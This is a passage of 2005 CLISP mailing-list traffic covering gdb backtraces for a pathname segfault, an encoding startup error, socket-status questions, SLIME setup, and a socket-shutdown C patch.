> #1  0x0006456c in translate_pathname (subst=0x1dc094, pattern=0x19d2b8d9)
>     at pathname.d:4800
> #2  0x00065bc8 in C_translate_pathname () at pathname.d:4923

Great!  thanks!
now, could you please type

xout *subst
xout pattern
zout *subst
zout pattern

at the (gdb) prompt?

also, type
(logical-pathname-translations "SYS")
at the CLISP prompt.

thanks a lot!


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Sam Steingold <sds@gnu.org> responds to my problem report for
clisp-2.34 on GNU/Linux (Red Hat Enterprise Server 4) on AMD64:

>> ...
>> > I then tried to start clisp manually, but it immediately fails:
>> >
>> >       % clisp
>> ...
>> > >       *** - invalid byte #x81 in CHARSET:ASCII conversion
>> >       The following restarts are available:
>> >       ABORT          :R1      ABORT
>> >       Break 1 [2]>
>>
>> <http://clisp.cons.org/faq.html#enc-err>.
>> you probably have non-ASCII symbols in pathnames.
>> try "clisp -E foo"
>> where foo is the encoding you use for pathnames.
>> ...

I did a "strace -o foo -f clisp", and then looked at the system-call
trace.  None of the file that are opened have any non-ASCII symbols in
their pathnames (such files would be rare to nonexistant anyway at my
site).

From the trace, it looks like /etc/inputrc was being processed
at the point of error:

32444 stat("/etc/inputrc", {st_mode=S_IFREG|0644, st_size=758, ...}) = 0
32444 open("/etc/inputrc", O_RDONLY)    = 5
32444 read(5, "# do not bell on tab-completion\n"..., 758) = 758
32444 close(5)                          = 0

It read the entire file with one read() call.  There are no non-ASCII
characters inside that file.

I then tried alternate encodings:

% clisp -E UTF-8
*** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [2]> 

% clisp -E ISO-8859-1
[1]> 

% clisp -E ISO8859-2
*** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [2]> 

Thus, a temporary workaround to the startup problem is to use 
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Sam Steingold <sds@gnu.org> responds on Mon, 25 Jul 2005 17:29:57
-0400 to my problem report:

>> ...
>> > On Sun Solaris 10 SPARC with gcc 3.3.6, the "make check" fails like
>> > this:
>> >
>> >       ;; Loaded file
>> >  /local/build/gcc/clisp-2.34/src/tests/compile-file-pathname.fas EQL-OK: T
>> >       (COMPILE-FILE-PATHNAME "foo" :OUTPUT-FILE (LOGICAL-PATHNAME
>> "SYS:foo.fas"))
>> >       EQUAL-OK: #S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC
>> :DIRECTORY
>> >  (:ABSOLUTE) :NAME "FOO" :TYPE "FAS" :VERSION :NEWEST)
>> >  (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>> >       Bus Error
>>
>> I do not have access to such a system.
>> could you please build clisp with debug symbols:
>> $ ./configure --build build-g
>> $ cd build-g
>> $ gdb lisp.run
>> (gdb) boot
>> (gdb) run
>> [1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))
>>
>> and send here the stack trace?
>> thanks!
>>
>> (I suggest using the CVS head)
>> ...

I grabbed the CVS tarball from clisp.sourceforge.net, but found that
it is incomplete: no configure file, empty src directory, ...
How does one pull a workable clisp distribution out of CVS?

In the meantime, I did your recommended experiment with the clisp-2.34
distribution:

% gdb lisp.run
GNU gdb 6.3
...
Breakpoint 1 at 0x3d49c
Breakpoint 2 at 0x3b4cc
Breakpoint 3 at 0x38a44
Breakpoint 4 at 0x3e8b0
Breakpoint 5 at 0x29d68
Watchpoint 6: {<data variable, no debug info>} 1851516
Breakpoint 7 at 0x2c398
Breakpoint 8 at 0x24978
Breakpoint 9 at 0x249e8
Breakpoint 10 at 0xcc98c
Breakpoint 11 at 0xcc938
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0003d49c <funcall+4>
        xout fun
2   breakpoint     keep n   0x0003b4cc <apply+4>
        xout fun
3   breakpoint     keep n   0x00038a44 <eval+4>
        xout form
4   breakpoint     keep n   0x0003e8b0 <interpret_bytecode_+4>
        xout closure
5   breakpoint     keep n   0x00029d68 <gar_col+4>
6   watchpoint     keep n              {<data variable, no debug info>} 1851516
        zbacktrace
        continue
7   breakpoint     keep y   0x0002c398 <fehler_notreached+4>
8   breakpoint     keep y   0x00024978 <SP_ueber+4>
9   breakpoint     keep y   0x000249e8 <STACK_ueber+4>
10  breakpoint     keep y   0x000cc98c <fehler+4>
11  breakpoint     keep y   0x000cc938 <prepare_error+4>
Function "sigsegv_handler_failed" not defined.
.gdbinit:159: Error in sourced command file:
No symbol "byteptr" in current context.
(gdb) boot
(gdb) run
Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M
 lispinit.mem -q -norc
[1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))

Program received signal SIGSEGV, Segmentation fault.
0x00058e54 in translate_directory ()
(gdb) where
#0  0x00058e54 in translate_directory ()
#1  0x000590c8 in translate_pathname ()
#2  0x000595b8 in C_translate_pathname ()
#3  0x0003d76c in funcall_subr ()
#4  0x00054a20 in C_translate_logical_pathname ()
#5  0x000397cc in eval_subr ()
#6  0x0003907c in eval1 ()
#7  0x00038bc4 in eval ()
#8  0x000c958c in C_read_eval_print ()
#9  0x0003d76c in funcall_subr ()
#10 0x0004420c in interpret_bytecode_ ()
#11 0x0003df3c in funcall_closure ()
#12 0x0004b628 in C_driver ()
#13 0x00044174 in interpret_bytecode_ ()
#14 0x0003df3c in funcall_closure ()
#15 0x00043df0 in interpret_bytecode_ ()
#16 0x0003df3c in funcall_closure ()
#17 0x000c9804 in driver ()
#18 0x000305b0 in main ()

A look at the build log file showed that compilation was with -O2, and
no -g.  Thus, no arguments are displayed.  I deleted pathname.o, and
then manually recompiled with -O2 replaced by -g, then did "make"
again.  Another gdb session produced this:

%  gdb lisp.run

(gdb) boot
(gdb) run
Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M lispinit.mem -q -norc
[1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))

Program received signal SIGSEGV, Segmentation fault.
0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b,
    logical=false) at pathname.d:4717
4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)
(gdb) where
#0  0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b,
    logical=false) at pathname.d:4717
#1  0x0006456c in translate_pathname (subst=0x1dc094, pattern=0x19d2b8d9)
    at pathname.d:4800
#2  0x00065bc8 in C_translate_pathname () at pathname.d:4923

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I have 2 open sockets in my list of sockets given to the socket-status func=
tion.
One of them is the socket-server type (which accepts new connections)
and other of socket-stream type.
When data is sent from the client connected to the server the
operation related to the socket-stream socket comes as OUTPUT, Why is
this so , also what does INPUT and OUTPUT signify?
On doing a read-line (the client sends formatted data terminated by
~%") the data is obtained.
But why am I getting the operation as OUTPUT?
Also as read-line is a blocking call new connections are delayed (most
of the times they are not created) as after reading the control comes
to the read-line and waits there till data is sent from another side.

function for reading the data on the socket is as follows

(defun handle-raw-data-on (sock-fd operation)
  (format t "operation ~a" operation)
  (if (eql operation :output)
      (progn
=09(setf raw-data (read-line sock-fd nil))
=09(format t "Raw data ~a on ~a ~%" raw-data sock-fd))))

Please tell me where am I going wrong.
-- Ashwin


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> * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-25 23:53:31 -0400]:
>
>
> (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
> D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")

please install 2.34 and use the clisp.exe driver:

(setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")

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On 7/26/05, Sam Steingold <sds@gnu.org> wrote:
> > * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-25 23:53:31 -0=
400]:
> >
> >
> > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
> > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
>=20
> please install 2.34 and use the clisp.exe driver:
>=20
> (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")


Ok.  Is there some compelling reason, or is it just to get the latest?
 This is my first "real" exploration into lisp having done the last 20
years or so in the Algol-based language lineage, so it's not like I
need cutting edge features or anything yet.  I'm still trying to get
my head wrapped around the language, idioms, culture, etc.


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On 7/26/05, Michael Campbell <michael.campbell@gmail.com> wrote:
> On 7/26/05, Sam Steingold <sds@gnu.org> wrote:
> > > * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-25 23:53:31 =
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> > >
> > >
> > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
> > > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
> >
> > please install 2.34 and use the clisp.exe driver:
> >
> > (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")


>:-\


Well, I did that, and now Bill Clementson's instructions *DON'T* work
anymore.  Nor do the generic setup instructions.  Both methods yield
the following:


FUNCALL: undefined function NIL

   [Condition of type SYSTEM::SIMPLE-UNDEFINED-FUNCTION]

Restarts:
  0: [USE-VALUE] You may input a value to be used instead of (FDEFINITION '=
NIL).
  1: [RETRY] Retry
  2: [STORE-VALUE] You may input a new value for (FDEFINITION 'NIL).
  3: [ABORT] Abort handling SLIME request.
  4: [ABORT] ABORT

Backtrace:
  0: frame binding variables (~ =3D dynamically):
  | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL

  1: EVAL frame for form (SWANK:CONNECTION-INFO)

  2: EVAL frame for form (SWANK:START-SERVER "c:/tmp/slime.3552"
:EXTERNAL-FORMAT :ISO-LATIN-1-UNIX)

 --more--


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equally hard". -- DHH


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>> (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
>> D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
>please install 2.34 and use the clisp.exe driver:
>(setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")

Then you will not be able to interrupt a running job with ^C (M-x slime-interrupt, comint-interrupt-subjob etc.)!

I reported to the slime-devel on 7th of July
Subject: "[slime-devel] Re: It's not just me!"
that Emacs with MS-Windows only manages to interrupt the process given by pid if it started it itself directly (like lisp.exe), not when its start was delegated (via clisp.exe starting lisp.exe).
-- At least with my Emacs-20.7, which is not the most recent one.

UNIX has tail-call optimization -- this is what exec() gives you. Many others systems do not.

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	Jorg Hohle.


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Hi,

what's the proposed idiom to work around the "modern" package behaviour that it implies CASE-INVERTED-ness?

(find-symbol "GetCurrentProcessId" "WIN32")
always returns NIL.

I think 'd shoot at somebody writing
(find-symbol "gETcURRENTpROCESSiD" :win32)
because that's completely misses the original point modern mode wants to address, which was to be able to refer to symbols using the same capitalization as within other programming languages.

Note that a literal 'win32:GetCurrent... symbol in source code is not suitable, because the package does not exist on some user's machines, so there could be a reader error at load or compile time.

Is there anything better than
... (and (find-package "WIN32")
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??

Thanks for your help,
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> * Ashwin Rao <nfujva.fuveinagur@tznvy.pbz> [2005-07-26 19:35:12 +0500]:
>
> I have 2 open sockets in my list of sockets given to the socket-status
> function.  One of them is the socket-server type (which accepts new
> connections) and other of socket-stream type.

I am not sure I quite understand your setup...

e.g.:

[38]> (setq stream (socket-connect 21 "ftp.gnu.org"))

#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21>
[39]> (setq server (socket-server))

#<SOCKET-SERVER 0.0.0.0:1550>
[40]> (socket-status (list stream server))

(:IO NIL) ; i.e., STREAM can be written to and read from,
          ; but no connections are available on SERVER
1
[41]> (loop :while (listen stream) :do (print (read-line stream)))
;; flush everything from STREAM
"220 GNU FTP server ready." 
NIL
[42]> (socket-status (list stream server))

(:OUTPUT NIL) ; now you can only write to STREAM, not read from it
1
[43]> (listen stream)
;; confirm - nothing to be read from STREAM
NIL
;; now do "telnet locahost 1550":
[44]> (socket-status (list stream server))

(:IO T) ; now SERVER has something to accept - but STREAM has something too!
2
[45]> (listen stream)
;; confirm
T
[46]> (loop :while (listen stream) :do (print (read-line stream)))

"421 Timeout." ;; oops...
NIL


> When data is sent from the client connected to the server the
> operation related to the socket-stream socket comes as OUTPUT, Why is
> this so , also what does INPUT and OUTPUT signify?

<http://clisp.cons.org/impnotes/socket.html#so-status>

> On doing a read-line (the client sends formatted data terminated by
> ~%") the data is obtained.
> But why am I getting the operation as OUTPUT?
> Also as read-line is a blocking call new connections are delayed (most
> of the times they are not created) as after reading the control comes
> to the read-line and waits there till data is sent from another side.
>
> function for reading the data on the socket is as follows
>
> (defun handle-raw-data-on (sock-fd operation)
>   (format t "operation ~a" operation)
>   (if (eql operation :output)
>       (progn

(if a (progn b c d)) is better written as (when a b c d)

> 	(setf raw-data (read-line sock-fd nil))
> 	(format t "Raw data ~a on ~a ~%" raw-data sock-fd))))
>
> Please tell me where am I going wrong.

If I understand you correctly, you should be getting :INPUT instead of
:OUTPUT.
maybe you could debug it?
see src/stream.d:14272.


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>> ...
>> >> I wonder what CLISP is doing here...
>> please type :bt1 here - you will get the Lisp STACK.
>> maybe you could run this under GDB too?
>> ...

On GNU/Linux on AMD64, here is the Lisp stack:

	% clisp

	*** - invalid byte sequence #xC6 #x72 in CHARSET:UTF-8 conversion
	The following restarts are available:
	ABORT          :R1      ABORT
	Break 1 [2]> :bti
	:BTI
	Break 1 [2]> :bt1
	<1> #<SYSTEM-FUNCTION SHOW-STACK> 3
	<2> #<COMPILED-FUNCTION SYSTEM::PRINT-BACKTRACE>
	<3> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE>
	<4> #<COMPILED-FUNCTION SYSTEM::DEBUG-BACKTRACE-1>
	<5> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT> 2
	<6> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2-2>
	<7> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS> 2
	<8> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP-2>
	<9> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
	- #<SIMPLE-ERROR #x000333BDC678>
	- NIL
	<10> #<COMPILED-FUNCTION SYSTEM::BREAK-LOOP>
	- #<SIMPLE-ERROR #x000333BDC678>
	<11> #<SYSTEM-FUNCTION INVOKE-DEBUGGER> 1
	frame binding variables (~ = dynamically):
	  | ~ SYSTEM::*PRIN-STREAM* <--> #<UNBOUND>
	frame binding variables (~ = dynamically):
	  | ~ *PRINT-READABLY* <--> NIL
	frame binding variables (~ = dynamically):
	  | ~ *PRINT-ESCAPE* <--> T
	- #<SIMPLE-ERROR #x000333BDC678>
	- "/u/sy/beebe/"
	- #P"/u/sy/beebe/"
	- NIL
	- NIL
	- #S(HASH-TABLE :TEST FASTHASH-EQUAL ((21 . 114048) . T))
	- NIL
	- (#P"/u/sy/beebe/")
	- NIL
	- ".clisprc.*"
	- #P"/u/sy/beebe/.clisprc.*"
	- NIL
	- #P"/u/sy/beebe/.clisprc.*"
	<12> #<SYSTEM-FUNCTION DIRECTORY>
	- #P"/u/sy/beebe/.clisprc.*"
	- #P""
	- (#P"" #P"./" #P"/u/sy/beebe/lisp/**/")
	- NIL
	- T
	- #(NIL ("fas" "lisp" "lsp" "cl"))
	- #<COMPILED-FUNCTION SYSTEM::SEARCH-FILE>
	- ("fas" "lisp" "lsp" "cl")
	- #P"/u/sy/beebe/.clisprc.*"
	<13> #<COMPILED-FUNCTION SYSTEM::SEARCH-FILE>
	- #<COMPILED-FUNCTION SYSTEM::OPEN-FOR-LOAD-CHECK-COMPILED-FILE>
	- #<COMPILED-FUNCTION SYSTEM::OPEN-FOR-LOAD-MY-OPEN>
	- #(#(NIL :DEFAULT NIL) #<COMPILED-FUNCTION SYSTEM::OPEN-FOR-LOAD-BAD>)
	- #P"/u/sy/beebe/.clisprc"
	- NIL
	- T
	- NIL
	- #(NIL :DEFAULT NIL)
	- #<COMPILED-FUNCTION SYSTEM::OPEN-FOR-LOAD>
	- :DEFAULT
	- NIL
	- #P"/u/sy/beebe/.clisprc"
	<14> #<COMPILED-FUNCTION SYSTEM::OPEN-FOR-LOAD>
	- NIL
	frame binding variables (~ = dynamically):
	  | ~ *LOAD-OBSOLETE-ACTION* <--> NIL
	frame binding variables (~ = dynamically):
	  | ~ *LOAD-COMPILING* <--> NIL
	- NIL
	frame binding variables (~ = dynamically):
	  | ~ *LOAD-ECHO* <--> NIL
	frame binding variables (~ = dynamically):
	  | ~ *LOAD-PRINT* <--> NIL
	frame binding variables (~ = dynamically):
	  | ~ *LOAD-VERBOSE* <--> T
	- #<COMPILED-FUNCTION LOAD>
	- NIL
	- #<UNBOUND>
	- #<UNBOUND>
	- #<UNBOUND>
	- :DEFAULT
	- NIL
	- #<UNBOUND>
	Printed 14 frames

From this output, I found the problem: my top-level directory had a
couple of test files with UTF-8 sequences in their filenames: clisp
evidently lists the directory, and then raises an error.  When I moved
them into another directory, clisp starts without error.

I would still call this an error in clisp: if it lists a directory
over which a user has no control (e.g., /tmp), then it is trivial for
an adversary to create a denial-of-service attack.  Unix pathnames are
not strictly in any particular character encoding: they are merely
byte strings in which only slash and NUL have special significance.

>> ...
>> > Thus, a temporary workaround to the startup problem is to use 
>> > -E ISO-8859-1.
>> 
>> according to
>> <http://www.gnu.org/software/clisp/clisp.html#opt-enc>
>> you can also set environment variable LC_ALL.
>> ...

That is not an acceptable solution, because it affects many other
programs.

In any event, I think we can call this startup problem solved, and
move on to other things.

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> * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-26 10:41:20 -0400]:
>
> On 7/26/05, Sam Steingold <sds@gnu.org> wrote:
>> > * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-25 23:53:31 -0400]:
>> >
>> >
>> > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
>> > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
>> 
>> please install 2.34 and use the clisp.exe driver:
>> 
>> (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")
>
>
> Ok.  Is there some compelling reason, or is it just to get the latest?

see NEWS.

> This is my first "real" exploration into lisp having done the last 20
> years or so in the Algol-based language lineage, so it's not like I
> need cutting edge features or anything yet.  I'm still trying to get
> my head wrapped around the language, idioms, culture, etc.

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> * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-26 10:57:24 -0400]:
>
> On 7/26/05, Michael Campbell <michael.campbell@gmail.com> wrote:
>> On 7/26/05, Sam Steingold <sds@gnu.org> wrote:
>> > > * Michael Campbell <zvpunry.pnzcoryy@tznvy.pbz> [2005-07-25 23:53:31 -0400]:
>> > >
>> > >
>> > > (setq inferior-lisp-program "d:/clisp-2.33.2/base/lisp.exe  -B
>> > > D:/clisp-2.33.2/ -M D:/clisp-2.33.2/base/lispinit.mem")
>> >
>> > please install 2.34 and use the clisp.exe driver:
>> >
>> > (setq inferior-lisp-program "d:/clisp-2.34/clisp.exe")
>
>
>>:-\
>
>
> Well, I did that, and now Bill Clementson's instructions *DON'T* work
> anymore.  Nor do the generic setup instructions.  Both methods yield
> the following:
>
>
> FUNCALL: undefined function NIL
>
>    [Condition of type SYSTEM::SIMPLE-UNDEFINED-FUNCTION]
>
> Restarts:
>   0: [USE-VALUE] You may input a value to be used instead of (FDEFINITION 'NIL).
>   1: [RETRY] Retry
>   2: [STORE-VALUE] You may input a new value for (FDEFINITION 'NIL).
>   3: [ABORT] Abort handling SLIME request.
>   4: [ABORT] ABORT
>
> Backtrace:
>   0: frame binding variables (~ = dynamically):
>   | ~ SYSTEM::*FASOUTPUT-STREAM* <--> NIL
>
>   1: EVAL frame for form (SWANK:CONNECTION-INFO)
>
>   2: EVAL frame for form (SWANK:START-SERVER "c:/tmp/slime.3552"
> :EXTERNAL-FORMAT :ISO-LATIN-1-UNIX)

I guess you will have to report this to Bill &co.

sorry.

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When having several source files in  a project loaded and running a command
produces an error, clisp's debugger just shows some info about the
function/operation... however, often this info is by far not sufficient to
find the right place to look at (where the source code causing the
abort/error is)  :-(

is there any way to force the debugger to show more information or did i
miss something? 
I would appreciate any other strategy for testing and debugging....

thanks 


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> * Onay <banlh@tzk.arg> [2005-07-26 22:16:53 +0200]:
>
> is there any way to force the debugger to show more information or did
> i miss something?

<http://clisp.cons.org/impnotes/debugger.html>

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Hello,
works fine for me.

Eval buffer the following Elisp file
M-x slime and
voila
; SLIME 2005-07-06
CL-USER> (+ 3 4)
7
CL-USER> (lisp-implementation-version)
"2.34 (2005-07-20) (built on DBTGFX0J.karsten.com [127.0.0.1])"
CL-USER>

There was a problem with Visual C compiled stock clisp, but this is fixed in 
newest slime
loadMingwClispSlime.el
(load-library "inf-lisp")

(setq inferior-lisp-program
      "c:\\cygwin\\home\\karsten\\clisp\\22050722mingw\\clisp.exe -K 
full -ansi -Lenglish -E utf-8"
      lisp-indent-function 'common-lisp-indent-function
      inferior-lisp-prompt "^[^> \n]*[>:]+ *")

(add-to-list 'load-path "c:/cygwin/home/Karsten/slime/slime")

(require 'slime)

(slime-setup)

or for windows
(load-library "inf-lisp")
;; Define the program to be called by M-x run-lisp.

(setq inferior-lisp-program
      "c:\\Programs\\clisp-2.33.2\\full\\lisp.exe -M 
c:\\Programs\\clisp-2.33.2\\full\\lispinit.mem -ansi -E UTF-8 -Lenglish"
      lisp-indent-function 'common-lisp-indent-function
      inferior-lisp-prompt "^[^> \n]*[>:]+ *")

(add-to-list 'load-path "c:/cygwin/home/Karsten/slime/slime")

(require 'slime)

(slime-setup)





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Here is more of the requested debugging output for the segment
violation on Sun Solaris 10 of clisp-2.34:

% gdb lisp.run
GNU gdb 6.3
...
(gdb) boot
(gdb) run
Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale
-M
 lispinit.mem -q -norc
[1]> (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP"))

Program received signal SIGSEGV, Segmentation fault.
0x00063c74 in translate_directory (subst=0x1dc094, pattern=0x666afc8b, 
    logical=false) at pathname.d:4717
4717      if (eq(Car(pattern),S(Kabsolute)) && mconsp(*subst)
(gdb) xout *subst
("foo" "lisp" CL::NIL)1718287387
(gdb) xout pattern
(:ABSOLUTE)1718287499
(gdb) zout *subst
("foo" "lisp" NIL)
1718287387
(gdb) zout pattern
(:ABSOLUTE)
1718287499

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /local/build/gcc/clisp-2.34/build-g/lisp.run -B . -N locale -M
 lispinit.mem -q -norc
[1]> (logical-pathname-translations "SYS")
((#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:RELATIVE)
     :NAME :WILD :TYPE "LISP" :VERSION NIL)
  "*.lisp")
 (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:RELATIVE)
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  "*")
 (#S(LOGICAL-PATHNAME :HOST "SYS" :DEVICE :UNSPECIFIC :DIRECTORY (:ABSOLUTE)
     :NAME :WILD :TYPE NIL :VERSION NIL)
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Date: Tue Jul 26 16:53:00 2005
X-Original-Date: Tue, 26 Jul 2005 19:51:36 -0400

one issue postponed until 2.34 was making socket-stream-shutdown always
just do shutdown, never close, as per the doc.

the patch is appended.

the problem I observe is that
shutdown(3,??);
close(3);
always results in an error:

cygwin:

[4]> (setq s (socket-connect 21 "ftp.gnu.org"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21>
[5]> (socket-stream-shutdown s :io)
NIL
[6]> (close s)

[stream.d:4472]
*** - UNIX error 9 (EBADF): Bad file number
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [7]>


win32:
[1]> (setq s (socket-connect 21 "ftp.gnu.org"))
#<IO INPUT-BUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21>
[2]> (socket-stream-shutdown s :io)
NIL
[3]> s
#<INVALID INPUT-BUFFERED SOCKET-STREAM CHARACTER ftp.gnu.org:21>
[4]> (close s)

*** - Winsock error 10038 (ENOTSOCK): Socket operation on non-socket
The following restarts are available:
ABORT          :R1      ABORT
Break 1 [5]>


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--- stream.d	08 Jul 2005 14:20:41 -0400	1.527
+++ stream.d	26 Jul 2005 19:26:44 -0400	
@@ -3768,13 +3768,15 @@
                                        # therefore needs special treatment in
                                        # the low_listen function on some OSes
                                        # (used by unbuffered streams only)
-  #define strm_ichannel  strm_other[4] # the input channel,
+  #define strm_ichannel_position 4     /* ichannel index */
+  #define strm_ichannel  strm_other[strm_ichannel_position] # the input channel,
                                        # an encapsulated handle, or, on
                                        # WIN32_NATIVE, an encapsulated SOCKET
 
 # Fields used for the output side only:
 
-  #define strm_ochannel  strm_other[5] # the output channel,
+  #define strm_ochannel_position 5    /* ochannel index */
+  #define strm_ochannel strm_other[strm_ochannel_position] # the output channel,
                                        # an encapsulated handle, or, on
                                        # WIN32_NATIVE, an encapsulated SOCKET
 
@@ -14593,17 +14595,31 @@
 
 #ifdef HAVE_SHUTDOWN
 
-# close a socket stream using shutdown(2)
-# if DIRECTION is not :IO, CLOSE is also required!
-# (SOCKET-STREAM-SHUTDOWN socket direction)
+/* close a socket stream using shutdown(2)
+ (SOCKET-STREAM-SHUTDOWN socket direction) */
+local SOCKET get_handle_and_mark (object stream, uintB flag, int channel) {
+  TheStream(stream)->strmflags &= ~flag;
+  if (ChannelStream_buffered(stream)) {
+    buffered_flush_everything(stream);
+    return TheSocket(BufferedStream_channel(stream));
+  } else
+    return TheSocket(TheStream(stream)->strm_other[channel]);
+}
 LISPFUNN(socket_stream_shutdown,2) {
   var direction_t dir = check_direction(popSTACK());
-  var object socket = test_socket_stream(STACK_0,false);
   var int shutdown_how = -1;
-  var bool rd_p = ((TheStream(STACK_0)->strmflags & strmflags_rd_B) != 0);
-  var bool wr_p = ((TheStream(STACK_0)->strmflags & strmflags_wr_B) != 0);
+  var bool rd_p = true;
+  var bool wr_p = true;
+  var uintB flag = 0;
+  var SOCKET handle = -1;
+  if (!integerp(STACK_0)) {
+    test_socket_stream(STACK_0,false);
+    rd_p = ((TheStream(STACK_0)->strmflags & strmflags_rd_B) != 0);
+    wr_p = ((TheStream(STACK_0)->strmflags & strmflags_wr_B) != 0);
+  } else /* raw socket */
+    handle = (SOCKET)(I_to_uint32(check_uint32(STACK_0)));
   switch (dir) {
-    case DIRECTION_PROBE: # INPUT/OUTPUT/IO
+    case DIRECTION_PROBE:       /* INPUT/OUTPUT/IO */
       if (rd_p) {
         if (wr_p) value1 = S(Kio);
         else value1 = S(Kinput);
@@ -14613,57 +14629,70 @@
       }
       goto done;
     case DIRECTION_INPUT_IMMUTABLE: case DIRECTION_INPUT:
-      if (!wr_p) { # already not writable => CLOSE
-        TheStream(STACK_0)->strmflags ^= strmflags_wr_B; # restore :IO
-        funcall(L(built_in_stream_close),1); return;
-      } else if (!rd_p) { # not readable => done
+      if (!rd_p) {              /* not readable => done */
         value1 = NIL; goto done;
       } else {
         shutdown_how = SHUT_RD;
-        TheStream(STACK_0)->strmflags &= ~strmflags_rd_B;
+        flag = strmflags_rd_B;
       }
       break;
     case DIRECTION_OUTPUT:
-      if (!rd_p) { # already not readable => CLOSE
-        TheStream(STACK_0)->strmflags ^= strmflags_rd_B; # restore :IO
-        funcall(L(built_in_stream_close),1); return;
-      } else if (!wr_p) { # not writable => done
+      if (!wr_p) {              /* not writable => done */
         value1 = NIL; goto done;
       } else {
         shutdown_how = SHUT_WR;
-        TheStream(STACK_0)->strmflags &= ~strmflags_wr_B;
+        flag = strmflags_wr_B;
       }
       break;
-    case DIRECTION_IO: funcall(L(built_in_stream_close),1); return;
+    case DIRECTION_IO:
+      shutdown_how = SHUT_RDWR;
+      flag = strmflags_wr_B | strmflags_rd_B;
+      break;
     default: NOTREACHED;
   }
-  # still open in both directions
+  if (streamp(STACK_0)) {
   switch (TheStream(STACK_0)->strmtype) {
     case strmtype_twoway_socket:
-      if (dir == DIRECTION_OUTPUT) {
-        STACK_0 = TheStream(STACK_0)->strm_twoway_socket_output;
+        switch (dir) {
+          case DIRECTION_OUTPUT:
         TheStream(STACK_0)->strmflags &= ~strmflags_wr_B;
-      } else { # DIRECTION_INPUT || DIRECTION_INPUT_IMMUTABLE
-        STACK_0 = TheStream(STACK_0)->strm_twoway_socket_input;
+            handle =
+              get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_output,
+                                  strmflags_wr_B,strm_ochannel_position);
+            break;
+          case DIRECTION_IO:
+            TheStream(STACK_0)->strmflags &= ~strmflags_wr_B;
+            get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_output,
+                                strmflags_wr_B,strm_ochannel_position);
+            /*FALLTHROUGH*/
+          case DIRECTION_INPUT: case DIRECTION_INPUT_IMMUTABLE:
         TheStream(STACK_0)->strmflags &= ~strmflags_rd_B;
-      } /*FALLTHROUGH*/
+            handle =
+              get_handle_and_mark(TheStream(STACK_0)->strm_twoway_socket_input,
+                                  strmflags_rd_B,strm_ichannel_position);
+            break;
+          default: NOTREACHED;
+        }
+        break;
     case strmtype_socket:
-      if (ChannelStream_buffered(STACK_0))
-        buffered_flush_everything(STACK_0);
-      begin_system_call();
-      if (shutdown((SOCKET)(ChannelStream_ihandle(STACK_0)),shutdown_how))
-        { SOCK_error(); }
-      end_system_call();
+        handle = get_handle_and_mark(STACK_0,flag,strm_ichannel_position);
       break;
     default: NOTREACHED;
   }
+  }
+  begin_system_call();
+  printf("%d %d\n",handle,shutdown_how);
+  if (shutdown(handle,shutdown_how))
+    { SOCK_error(); }
+  end_system_call();
+  value1 = NIL;
  done:
   skipSTACK(1);
   mv_count = 1;
